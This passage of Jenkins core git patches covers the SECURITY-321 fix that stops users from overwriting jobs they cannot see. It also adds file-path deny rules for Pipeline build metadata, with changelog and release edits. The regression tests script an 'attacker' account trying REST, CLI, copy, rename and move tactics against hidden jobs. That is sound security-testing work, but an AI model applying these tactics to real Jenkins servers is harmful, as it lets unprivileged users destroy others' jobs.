deletions(-) create mode 100644 test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java rename test/src/test/java/jenkins/security/{ => s2m}/DefaultFilePathFilterTest.java (89%) diff --git a/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf b/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf index faa7cffa16..7e4f5308c9 100644 --- a/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf +++ b/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf @@ -23,6 +23,9 @@ allow read,stat /userContent($|/.*) # In the next rule we grant general access under build directories, so first we protect # the actual build record that Jenkins core reads, which nothing should be touching. deny all /build.xml +# Similarly for Pipeline build (WorkflowRun) metadata: +deny all /program.dat +deny all /workflow($|/.*) # Various plugins read/write files under build directories, so allow them all. # - git 1.x writes changelog.xml from the slave (2.x writes from the master so need not be listed) diff --git a/test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java b/test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java new file mode 100644 index 0000000000..4df4df76ca --- /dev/null +++ b/test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java @@ -0,0 +1,60 @@ +/* + * The MIT License + * + * Copyright 2016 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security.s2m; + +import java.io.File; +import javax.inject.Inject; +import static org.junit.Assert.*; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.JenkinsRule; + +public class AdminFilePathFilterTest { + + @Rule + public JenkinsRule r = new JenkinsRule(); + + @Inject + AdminWhitelistRule rule; + + @Before + public void setUp() { + r.jenkins.getInjector().injectMembers(this); + rule.setMasterKillSwitch(false); + } + + // TODO in master when using a version taking a String[]: @Issue({"JENKINS-27055", "SECURITY-358"}) + @Test + public void matchBuildDir() throws Exception { + File buildDir = r.buildAndAssertSuccess(r.createFreeStyleProject()).getRootDir(); + assertTrue(rule.checkFileAccess("write", new File(buildDir, "whatever"))); + assertFalse(rule.checkFileAccess("write", new File(buildDir, "build.xml"))); + // WorkflowRun: + assertFalse(rule.checkFileAccess("write", new File(buildDir, "program.dat"))); + assertFalse(rule.checkFileAccess("write", new File(buildDir, "workflow/23.xml"))); + } + +} diff --git a/test/src/test/java/jenkins/security/DefaultFilePathFilterTest.java b/test/src/test/java/jenkins/security/s2m/DefaultFilePathFilterTest.java similarity index 89% rename from test/src/test/java/jenkins/security/DefaultFilePathFilterTest.java rename to test/src/test/java/jenkins/security/s2m/DefaultFilePathFilterTest.java index 6a91ec7db5..8dd83964cd 100644 --- a/test/src/test/java/jenkins/security/DefaultFilePathFilterTest.java +++ b/test/src/test/java/jenkins/security/s2m/DefaultFilePathFilterTest.java @@ -22,7 +22,7 @@ * THE SOFTWARE. */ -package jenkins.security; +package jenkins.security.s2m; import hudson.FilePath; import hudson.model.Slave; @@ -31,8 +31,6 @@ import java.io.File; import java.io.PrintWriter; import java.io.StringWriter; -import jenkins.security.s2m.AdminWhitelistRule; -import jenkins.security.s2m.DefaultFilePathFilter; import org.jenkinsci.remoting.RoleChecker; import org.junit.Before; import org.junit.Test; @@ -41,7 +39,6 @@ import org.junit.Rule; import org.jvnet.hudson.test.JenkinsRule; import javax.inject.Inject; -import org.jvnet.hudson.test.Issue; public class DefaultFilePathFilterTest { @@ -112,11 +109,4 @@ public class DefaultFilePathFilterTest { } } - @Issue("JENKINS-27055") - @Test public void matchBuildDir() throws Exception { - File f = new File(r.buildAndAssertSuccess(r.createFreeStyleProject()).getRootDir(), "whatever"); - rule.setMasterKillSwitch(false); - assertTrue(rule.checkFileAccess("write", f)); - } - } -- GitLab From d4f7fb1896f3b6a38eabb776e396a8c844c68adc Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 9 Dec 2016 17:18:33 -0500 Subject: [PATCH 397/712] [SECURITY-321] Prevent existing items from being overwritten even if you cannot DISCOVER them. --- .../main/java/hudson/model/AbstractItem.java | 24 +- .../java/hudson/model/ItemGroupMixIn.java | 9 +- core/src/main/java/hudson/model/Items.java | 33 +- .../hudson/model/AbstractProjectTest.groovy | 33 -- .../src/test/java/hudson/model/ItemsTest.java | 404 ++++++++++++++++++ 5 files changed, 437 insertions(+), 66 deletions(-) diff --git a/core/src/main/java/hudson/model/AbstractItem.java b/core/src/main/java/hudson/model/AbstractItem.java index e62e031deb..76762e3612 100644 --- a/core/src/main/java/hudson/model/AbstractItem.java +++ b/core/src/main/java/hudson/model/AbstractItem.java @@ -45,7 +45,6 @@ import hudson.util.Secret; import jenkins.model.DirectlyModifiableTopLevelItemGroup; import jenkins.model.Jenkins; import jenkins.security.NotReallyRoleSensitiveCallable; -import org.acegisecurity.Authentication; import jenkins.util.xml.XMLUtils; import org.apache.tools.ant.taskdefs.Copy; @@ -76,7 +75,6 @@ import org.kohsuke.stapler.interceptor.RequirePOST; import org.xml.sax.SAXException; import javax.servlet.ServletException; -import javax.servlet.ServletOutputStream; import javax.xml.transform.Source; import javax.xml.transform.TransformerException; import javax.xml.transform.stream.StreamResult; @@ -236,27 +234,7 @@ public abstract class AbstractItem extends Actionable implements Item, HttpDelet if (this.name.equals(newName)) return; - // the test to see if the project already exists or not needs to be done in escalated privilege - // to avoid overwriting - ACL.impersonate(ACL.SYSTEM,new NotReallyRoleSensitiveCallable() { - final Authentication user = Jenkins.getAuthentication(); - @Override - public Void call() throws IOException { - Item existing = parent.getItem(newName); - if (existing != null && existing!=AbstractItem.this) { - if (existing.getACL().hasPermission(user,Item.DISCOVER)) - // the look up is case insensitive, so we need "existing!=this" - // to allow people to rename "Foo" to "foo", for example. - // see http://www.nabble.com/error-on-renaming-project-tt18061629.html - throw new IllegalArgumentException("Job " + newName + " already exists"); - else { - // can't think of any real way to hide this, but at least the error message could be vague. - throw new IOException("Unable to rename to " + newName); - } - } - return null; - } - }); + Items.verifyItemDoesNotAlreadyExist(parent, newName, this); File oldRoot = this.getRootDir(); diff --git a/core/src/main/java/hudson/model/ItemGroupMixIn.java b/core/src/main/java/hudson/model/ItemGroupMixIn.java index bfbb7a46db..fc1016ba2a 100644 --- a/core/src/main/java/hudson/model/ItemGroupMixIn.java +++ b/core/src/main/java/hudson/model/ItemGroupMixIn.java @@ -262,10 +262,7 @@ public abstract class ItemGroupMixIn { acl.checkPermission(Item.CREATE); Jenkins.getInstance().getProjectNamingStrategy().checkName(name); - if (parent.getItem(name) != null) { - throw new IllegalArgumentException(parent.getDisplayName() + " already contains an item '" + name + "'"); - } - // TODO what if we have no DISCOVER permission on the existing job? + Items.verifyItemDoesNotAlreadyExist(parent, name, null); // place it as config.xml File configXml = Items.getConfigFile(getRootDirFor(name)).getFile(); @@ -318,9 +315,7 @@ public abstract class ItemGroupMixIn { acl.getACL().checkCreatePermission(parent, type); Jenkins.getInstance().getProjectNamingStrategy().checkName(name); - if(parent.getItem(name)!=null) - throw new IllegalArgumentException("Project of the name "+name+" already exists"); - // TODO problem with DISCOVER as noted above + Items.verifyItemDoesNotAlreadyExist(parent, name, null); TopLevelItem item = type.newInstance(parent, name); try { diff --git a/core/src/main/java/hudson/model/Items.java b/core/src/main/java/hudson/model/Items.java index 8700c0554f..343fe1edd8 100644 --- a/core/src/main/java/hudson/model/Items.java +++ b/core/src/main/java/hudson/model/Items.java @@ -52,6 +52,8 @@ import javax.annotation.CheckForNull; import javax.annotation.Nonnull; import jenkins.model.DirectlyModifiableTopLevelItemGroup; +import org.acegisecurity.context.SecurityContext; +import org.acegisecurity.context.SecurityContextHolder; import org.apache.commons.io.FileUtils; /** @@ -419,9 +421,7 @@ public class Items { throw new IllegalArgumentException(); } String name = item.getName(); - if (destination.getItem(name) != null) { - throw new IllegalArgumentException(name + " already exists"); - } + verifyItemDoesNotAlreadyExist(destination, name, null); String oldFullName = item.getFullName(); // TODO AbstractItem.renameTo has a more baroque implementation; factor it out into a utility method perhaps? File destDir = destination.getRootDirFor(item); @@ -434,6 +434,33 @@ public class Items { return newItem; } + /** + * Securely check for the existence of an item before trying to create one with the same name. + * @param parent the folder where we are about to create/rename/move an item + * @param newName the proposed new name + * @param variant if not null, an existing item which we accept could be there + * @throws IllegalArgumentException if there is already something there, which you were supposed to know about + * @throws Failure if there is already something there but you should not be told details + */ + static void verifyItemDoesNotAlreadyExist(@Nonnull ItemGroup parent, @Nonnull String newName, @CheckForNull Item variant) throws IllegalArgumentException, Failure { + Item existing; + SecurityContext orig = ACL.impersonate(ACL.SYSTEM); + try { + existing = parent.getItem(newName); + } finally { + SecurityContextHolder.setContext(orig); + } + if (existing != null && existing != variant) { + if (existing.hasPermission(Item.DISCOVER)) { + String prefix = parent.getFullName(); + throw new IllegalArgumentException((prefix.isEmpty() ? "" : prefix + "/") + newName + " already exists"); + } else { + // Cannot hide its existence, so at least be as vague as possible. + throw new Failure(""); + } + } + } + /** * Used to load/save job configuration. * diff --git a/test/src/test/groovy/hudson/model/AbstractProjectTest.groovy b/test/src/test/groovy/hudson/model/AbstractProjectTest.groovy index 4121cbf75e..3c72652556 100644 --- a/test/src/test/groovy/hudson/model/AbstractProjectTest.groovy +++ b/test/src/test/groovy/hudson/model/AbstractProjectTest.groovy @@ -525,39 +525,6 @@ public class AbstractProjectTest extends HudsonTestCase { done.signal() } - public void testRenameToPrivileged() { - def secret = jenkins.createProject(FreeStyleProject.class,"secret"); - def regular = jenkins.createProject(FreeStyleProject.class,"regular") - - jenkins.securityRealm = createDummySecurityRealm(); - def auth = new ProjectMatrixAuthorizationStrategy(); - jenkins.authorizationStrategy = auth; - - auth.add(Jenkins.ADMINISTER, "alice"); - auth.add(Jenkins.READ, "bob"); - - // bob the regular user can only see regular jobs - regular.addProperty(new AuthorizationMatrixProperty([(Job.READ) : ["bob"] as Set])); - - def wc = createWebClient() - wc.login("bob") - wc.executeOnServer { - assert jenkins.getItem("secret")==null; - try { - regular.renameTo("secret") - fail("rename as an overwrite should have failed"); - } catch (Exception e) { - // expected rename to fail in some non-descriptive generic way - e.printStackTrace() - } - } - - // those two jobs should still be there - assert jenkins.getItem("regular")!=null; - assert jenkins.getItem("secret")!=null; - } - - /** * Trying to POST to config.xml by a different job type should fail. */ diff --git a/test/src/test/java/hudson/model/ItemsTest.java b/test/src/test/java/hudson/model/ItemsTest.java index 59e168b4e6..9a1ad9cc53 100644 --- a/test/src/test/java/hudson/model/ItemsTest.java +++ b/test/src/test/java/hudson/model/ItemsTest.java @@ -24,8 +24,37 @@ package hudson.model; +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; +import com.gargoylesoftware.htmlunit.HttpMethod; +import com.gargoylesoftware.htmlunit.WebRequest; +import com.gargoylesoftware.htmlunit.WebResponse; +import hudson.AbortException; +import hudson.cli.CLICommand; +import hudson.cli.CLICommandInvoker; +import hudson.cli.CopyJobCommand; +import hudson.cli.CreateJobCommand; +import hudson.security.ACL; +import hudson.security.AuthorizationStrategy; +import hudson.security.Permission; +import hudson.security.SidACL; +import hudson.security.csrf.CrumbIssuer; +import java.io.ByteArrayInputStream; import java.io.File; +import java.io.IOException; +import java.net.URL; +import java.util.ArrayList; import java.util.Arrays; +import java.util.Collection; +import java.util.Collections; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import java.util.regex.Pattern; +import jenkins.model.Jenkins; +import org.acegisecurity.acls.sid.Sid; +import org.acegisecurity.context.SecurityContext; +import org.acegisecurity.context.SecurityContextHolder; +import org.apache.commons.httpclient.HttpStatus; import org.junit.Test; import static org.junit.Assert.*; @@ -73,5 +102,380 @@ public class ItemsTest { assertFalse(new File(tmp, "foo/test/1").exists()); assertTrue(new File(tmp, "bar/test/1").exists()); } + + // TODO would be more efficient to run these all as a single test case, but after a few Jetty seems to stop serving new content and new requests just hang. + + private void overwriteTargetSetUp() throws Exception { + // A fully visible item: + r.createFreeStyleProject("visible").setDescription("visible"); + // An item known to exist but not visible: + r.createFreeStyleProject("known").setDescription("known"); + // An item not even known to exist: + r.createFreeStyleProject("secret").setDescription("secret"); + // A folder from which to launch move attacks: + r.createFolder("d"); + r.jenkins.setSecurityRealm(r.createDummySecurityRealm()); + r.jenkins.setAuthorizationStrategy(new MockAuthorizationStrategy(). + grant(Jenkins.READ).everywhere().to("attacker"). + grant(Item.READ, Item.CONFIGURE, Item.CREATE, Item.DELETE).onPaths("(?!known|secret).*").to("attacker"). + grant(Item.DISCOVER).onPaths("known").to("attacker")); + } + + /** Control cases: if there is no such item yet, nothing is stopping you. */ + @Test public void overwriteNonexistentTarget() throws Exception { + overwriteTargetSetUp(); + for (OverwriteTactic tactic : OverwriteTactic.values()) { + tactic.run(r, "nonexistent"); + System.out.println(tactic + " worked as expected on a nonexistent target"); + r.jenkins.getItem("nonexistent").delete(); + } + } + + private void cannotOverwrite(String target) throws Exception { + overwriteTargetSetUp(); + for (OverwriteTactic tactic : OverwriteTactic.values()) { + try { + tactic.run(r, target); + fail(tactic + " was not supposed to work against " + target); + } catch (Exception x) { + System.out.println("good, " + tactic + " failed on " + target + ": " + x); + assertEquals(tactic + " still overwrote " + target, target, r.jenkins.getItemByFullName(target, FreeStyleProject.class).getDescription()); + } + } + } + + /** More control cases: for non-security-sensitive scenarios, we prevent you from overwriting existing items. */ + @Test public void overwriteVisibleTarget() throws Exception { + cannotOverwrite("visible"); + } + + /** You may not overwrite an item you know is there even if you cannot see it. */ + @Test public void overwriteKnownTarget() throws Exception { + cannotOverwrite("known"); + } + + /** You are somehow prevented from overwriting an item even if you did not previously know it was there. */ + @Issue("SECURITY-321") + @Test public void overwriteHiddenTarget() throws Exception { + cannotOverwrite("secret"); + } + + /** All known means of creating an item under a new name. */ + private enum OverwriteTactic { + /** Use the REST command to create an empty project (normally used only from the UI in the New Item dialog). */ + REST_EMPTY { + @Override void run(JenkinsRule r, String target) throws Exception { + JenkinsRule.WebClient wc = wc(r); + wc.getOptions().setRedirectEnabled(false); + wc.getOptions().setThrowExceptionOnFailingStatusCode(false); // redirect perversely counts as a failure + WebResponse webResponse = wc.getPage(new WebRequest(createCrumbedUrl(r, wc, "createItem?name=" + target + "&mode=hudson.model.FreeStyleProject"), HttpMethod.POST)).getWebResponse(); + if (webResponse.getStatusCode() != HttpStatus.SC_MOVED_TEMPORARILY) { + throw new FailingHttpStatusCodeException(webResponse); + } + } + }, + /** Use the REST command to copy an existing project (normally used from the UI in the New Item dialog). */ + REST_COPY { + @Override void run(JenkinsRule r, String target) throws Exception { + r.createFreeStyleProject("dupe"); + JenkinsRule.WebClient wc = wc(r); + wc.getOptions().setRedirectEnabled(false); + wc.getOptions().setThrowExceptionOnFailingStatusCode(false); + WebResponse webResponse = wc.getPage(new WebRequest(createCrumbedUrl(r, wc, "createItem?name=" + target + "&mode=copy&from=dupe"), HttpMethod.POST)).getWebResponse(); + r.jenkins.getItem("dupe").delete(); + if (webResponse.getStatusCode() != HttpStatus.SC_MOVED_TEMPORARILY) { + throw new FailingHttpStatusCodeException(webResponse); + } + } + }, + /** Overwrite target using REST command to create a project from XML submission. */ + REST_CREATE { + @Override void run(JenkinsRule r, String target) throws Exception { + JenkinsRule.WebClient wc = wc(r); + WebRequest req = new WebRequest(createCrumbedUrl(r, wc, "createItem?name=" + target), HttpMethod.POST); + req.setAdditionalHeader("Content-Type", "application/xml"); + req.setRequestBody(""); + wc.getPage(req); + } + }, + /** Overwrite target using REST command to rename an existing project (normally used from the UI in the Configure screen). */ + REST_RENAME { + @Override void run(JenkinsRule r, String target) throws Exception { + r.createFreeStyleProject("dupe"); + JenkinsRule.WebClient wc = wc(r); + wc.getOptions().setRedirectEnabled(false); + wc.getOptions().setThrowExceptionOnFailingStatusCode(false); + WebResponse webResponse = wc.getPage(new WebRequest(createCrumbedUrl(r, wc, "job/dupe/doRename?newName=" + target), HttpMethod.POST)).getWebResponse(); + if (webResponse.getStatusCode() != HttpStatus.SC_MOVED_TEMPORARILY) { + r.jenkins.getItem("dupe").delete(); + throw new FailingHttpStatusCodeException(webResponse); + } + assertNull(r.jenkins.getItem("dupe")); + } + }, + /** Overwrite target using the CLI {@code create-job} command. */ + CLI_CREATE { + @Override void run(JenkinsRule r, String target) throws Exception { + CLICommand cmd = new CreateJobCommand(); + CLICommandInvoker invoker = new CLICommandInvoker(r, cmd); + cmd.setTransportAuth(User.get("attacker").impersonate()); + int status = invoker.withStdin(new ByteArrayInputStream("".getBytes("US-ASCII"))).invokeWithArgs(target).returnCode(); + if (status != 0) { + throw new AbortException("CLI command failed with status " + status); + } + } + }, + /** Overwrite target using the CLI {@code copy-job} command. */ + CLI_COPY { + @Override void run(JenkinsRule r, String target) throws Exception { + r.createFreeStyleProject("dupe"); + CLICommand cmd = new CopyJobCommand(); + CLICommandInvoker invoker = new CLICommandInvoker(r, cmd); + cmd.setTransportAuth(User.get("attacker").impersonate()); + int status = invoker.invokeWithArgs("dupe", target).returnCode(); + r.jenkins.getItem("dupe").delete(); + if (status != 0) { + throw new AbortException("CLI command failed with status " + status); + } + } + }, + /** Overwrite target using a move function normally called from {@code cloudbees-folder} via a {@code move} action. */ + MOVE { + @Override void run(JenkinsRule r, String target) throws Exception { + try { + SecurityContext orig = ACL.impersonate(User.get("attacker").impersonate()); + try { + Items.move(r.jenkins.getItemByFullName("d", MockFolder.class).createProject(FreeStyleProject.class, target), r.jenkins); + } finally { + SecurityContextHolder.setContext(orig); + } + assertNull(r.jenkins.getItemByFullName("d/" + target)); + } catch (Exception x) { + r.jenkins.getItemByFullName("d/" + target).delete(); + throw x; + } + } + }; + abstract void run(JenkinsRule r, String target) throws Exception; + private static final JenkinsRule.WebClient wc(JenkinsRule r) throws Exception { + return r.createWebClient().login("attacker"); + } + // TODO replace with standard version once it is fixed to detect an existing query string + private static URL createCrumbedUrl(JenkinsRule r, JenkinsRule.WebClient wc, String relativePath) throws IOException { + CrumbIssuer issuer = r.jenkins.getCrumbIssuer(); + String crumbName = issuer.getDescriptor().getCrumbRequestField(); + String crumb = issuer.getCrumb(null); + return new URL(wc.getContextPath() + relativePath + (relativePath.contains("?") ? "&" : "?") + crumbName + "=" + crumb); + } + } + + // TODO delete in 1.651+ and use standard version + /** + * An authorization strategy configured in a fluent style from test code. + * Install using {@link Jenkins#setAuthorizationStrategy}. + * You probably also want to call {@link Jenkins#setSecurityRealm} on {@link JenkinsRule#createDummySecurityRealm}. + */ + private static class MockAuthorizationStrategy extends AuthorizationStrategy { + + private final List grantsOnTo = new ArrayList(); + + /** Creates a new strategy granting no permissions. */ + public MockAuthorizationStrategy() {} + + /** + * Begin granting a set of permissions. + * Note that grants cannot be subsequently revoked, but you could reset the strategy to a newly configured one. + * @param permissions which permissions to grant ({@link Permission#impliedBy} is honored) + */ + public Grant grant(Permission... permissions) { + Set effective = new HashSet(Arrays.asList(permissions)); + boolean added = true; + while (added) { + added = false; + for (Permission p : Permission.getAll()) { + added |= effective.contains(p.impliedBy) && effective.add(p); + } + } + return new Grant(effective); + } + + /** + * Like {@link #grant} but does not honor {@link Permission#impliedBy}. + */ + public Grant grantWithoutImplication(Permission... permissions) { + return new Grant(new HashSet(Arrays.asList(permissions))); + } + + /** + * A grant of a set of permissions. + * You must proceed to specify where they should be granted. + */ + public class Grant { + + private final Set permissions; + + Grant(Set permissions) { + this.permissions = permissions; + } + + /** + * Everywhere in Jenkins. + */ + public GrantOn everywhere() { + return onPaths(".*"); + } + + /** + * On {@code Jenkins} itself, but not any child objects. + */ + public GrantOn onRoot() { + return onPaths(""); + } + + /** + * On some items such as jobs. + * If some of these happen to be {@link ItemGroup}s, the grant is not applied to children. + */ + public GrantOn onItems(Item... items) { + String[] paths = new String[items.length]; + for (int i = 0; i < items.length; i++) { + paths[i] = Pattern.quote(items[i].getFullName()); + } + return onPaths(paths); + } + + /** + * On some item groups, typically folders. + * The grant applies to the folder itself as well as any (direct or indirect) children. + */ + public GrantOn onFolders(ItemGroup... folders) { + String[] paths = new String[folders.length]; + for (int i = 0; i < folders.length; i++) { + paths[i] = Pattern.quote(folders[i].getFullName()) + "(|/.+)"; + } + return onPaths(paths); + } + + /** + * On some item path expressions. + * Each element is an implicitly rooted regular expression. + * {@code Jenkins} itself is {@code ""}, a top-level job would be {@code "jobname"}, a nested job would be {@code "folder/jobname"}, etc. + * Grants are not implicitly applied to child objects. + */ + public GrantOn onPaths(String... pathRegexps) { + StringBuilder b = new StringBuilder(); + boolean first = true; + for (String rx : pathRegexps) { + if (first) { + first = false; + } else { + b.append('|'); + } + b.append("(?:").append(rx).append(')'); + } + return new GrantOn(b.toString()); + } + + /** + * A grant of some permissions in certain places. + * You must proceed to specify to whom the grant is made. + */ + public class GrantOn { + + private final Pattern regexp; + + GrantOn(String regexp) { + this.regexp = Pattern.compile(regexp); + } + + /** To some users or groups. */ + public MockAuthorizationStrategy to(String... sids) { + return new GrantOnTo(new HashSet(Arrays.asList(sids))).add(); + } + + /** To some users. */ + public MockAuthorizationStrategy to(User... users) { + String[] sids = new String[users.length]; + for (int i = 0; i < users.length; i++) { + sids[i] = users[i].getId(); + } + return to(sids); + } + + /** To everyone, including anonymous users. */ + public MockAuthorizationStrategy toEveryone() { + return to(/* SidACL.toString(ACL.EVERYONE) */"role_everyone"); + } + + /** To all authenticated users. */ + public MockAuthorizationStrategy toAuthenticated() { + return to(/* SecurityRealm.AUTHENTICATED_AUTHORITY */"authenticated"); + } + + private class GrantOnTo { + + private final Set sids; + + GrantOnTo(Set sids) { + this.sids = sids; + } + + MockAuthorizationStrategy add() { + grantsOnTo.add(this); + return MockAuthorizationStrategy.this; + } + + boolean matches(String path, String name, Permission permission) { + return regexp.matcher(path).matches() && + sids.contains(name) && // TODO consider IdStrategy + permissions.contains(permission); + } + + } + + } + + } + + @Override + public ACL getRootACL() { + return new ACLImpl(""); + } + + @Override + public ACL getACL(AbstractItem item) { + return new ACLImpl(item.getFullName()); + } + + @Override + public ACL getACL(Job project) { + return getACL((AbstractItem) project); // stupid overload + } + + private class ACLImpl extends SidACL { + + private final String path; + + ACLImpl(String path) { + this.path = path; + } + + @Override protected Boolean hasPermission(Sid p, Permission permission) { + String name = toString(p); + for (Grant.GrantOn.GrantOnTo grantOnTo : grantsOnTo) { + if (grantOnTo.matches(path, name, permission)) { + return true; + } + } + return null; // allow groups to be checked after users, etc. + } + + } + + @Override + public Collection getGroups() { + return Collections.emptySet(); // we do not differentiate usernames from groups + } + } } -- GitLab From e4620c6d6d6d2438eb9088bc9d377a546c5fe4bf Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 9 Dec 2016 17:27:46 -0500 Subject: [PATCH 398/712] Restoring relevant explanatory comment. --- core/src/main/java/hudson/model/AbstractItem.java | 3 +++ 1 file changed, 3 insertions(+) diff --git a/core/src/main/java/hudson/model/AbstractItem.java b/core/src/main/java/hudson/model/AbstractItem.java index 76762e3612..edd3dc5503 100644 --- a/core/src/main/java/hudson/model/AbstractItem.java +++ b/core/src/main/java/hudson/model/AbstractItem.java @@ -234,6 +234,9 @@ public abstract class AbstractItem extends Actionable implements Item, HttpDelet if (this.name.equals(newName)) return; + // the lookup is case insensitive, so we should not fail if this item was the “existing†one + // to allow people to rename "Foo" to "foo", for example. + // see http://www.nabble.com/error-on-renaming-project-tt18061629.html Items.verifyItemDoesNotAlreadyExist(parent, newName, this); File oldRoot = this.getRootDir(); -- GitLab From fdba18915889d874c3bbfe21f726d0b0baee60ab Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 10 Dec 2016 17:46:25 +0100 Subject: [PATCH 399/712] Fix 'since TODO' from #2630 --- core/src/main/java/jenkins/model/CauseOfInterruption.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/jenkins/model/CauseOfInterruption.java b/core/src/main/java/jenkins/model/CauseOfInterruption.java index 557110f239..7a8c173f21 100644 --- a/core/src/main/java/jenkins/model/CauseOfInterruption.java +++ b/core/src/main/java/jenkins/model/CauseOfInterruption.java @@ -90,7 +90,7 @@ public abstract class CauseOfInterruption implements Serializable { /** * Gets ID of the user, who interrupted the build. * @return User ID - * @since TODO + * @since 2.31 */ @Nonnull public String getUserId() { @@ -111,7 +111,7 @@ public abstract class CauseOfInterruption implements Serializable { /** * Gets user, who caused the interruption. * @return User or {@code null} if it has not been found - * @since TODO + * @since 2.31 */ @CheckForNull public User getUserOrNull() { -- GitLab From 06615d991dd2f9efaa36fe436a88ef56066a4bfa Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 11 Dec 2016 13:00:03 +0100 Subject: [PATCH 400/712] CHANGELOG: Noting #2656, #2651, #2656, #2659 --- changelog.html | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index a10588ac54..0180b6a8f9 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,20 @@ Upcoming changes

                    What's new in 2.35 (2016/12/04)

                    -- GitLab From 3538931d1e2ff736adeb172f4947ee9ea20ac59c Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Sun, 11 Dec 2016 17:09:04 +0000 Subject: [PATCH 401/712] [JENKINS-39300] Fix final test case --- test/src/test/java/hudson/cli/DeleteViewCommandTest.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java index 7280a65b29..20b36e87a5 100644 --- a/test/src/test/java/hudson/cli/DeleteViewCommandTest.java +++ b/test/src/test/java/hudson/cli/DeleteViewCommandTest.java @@ -123,7 +123,7 @@ public class DeleteViewCommandTest { assertThat(result, failedWith(4)); assertThat(result, hasNoStandardOutput()); assertThat(j.jenkins.getView(AllView.DEFAULT_VIEW_NAME), notNullValue()); - assertThat(result.stderr(), containsString("ERROR: Jenkins does not allow to delete 'All' view")); + assertThat(result.stderr(), containsString("ERROR: Jenkins does not allow to delete '"+AllView.DEFAULT_VIEW_NAME+"' view")); } @Test public void deleteViewShoudlFailIfViewNameIsEmpty() { -- GitLab From 44133ea90c204fec4c079f73d45ea471f2ba76dd Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 11 Dec 2016 20:50:44 -0800 Subject: [PATCH 402/712] [maven-release-plugin] prepare release jenkins-2.36 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 096329a073..f220aa939c 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.36-SNAPSHOT + 2.36 cli diff --git a/core/pom.xml b/core/pom.xml index 47a2ec0cd6..54764ae08f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36-SNAPSHOT + 2.36 jenkins-core diff --git a/pom.xml b/pom.xml index b2c8b08af7..a217cf1469 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36-SNAPSHOT + 2.36 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.36 diff --git a/test/pom.xml b/test/pom.xml index 35fd1a3f3d..1a83c0c2a3 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36-SNAPSHOT + 2.36 test diff --git a/war/pom.xml b/war/pom.xml index bafa05038f..72942fd89a 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36-SNAPSHOT + 2.36 jenkins-war -- GitLab From 49653d1a6d499c02df9f5a9fe3df27868bb2d518 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 11 Dec 2016 20:50:44 -0800 Subject: [PATCH 403/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index f220aa939c..e70857e1b1 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.36 + 2.37-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 54764ae08f..36489c62c8 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.36 + 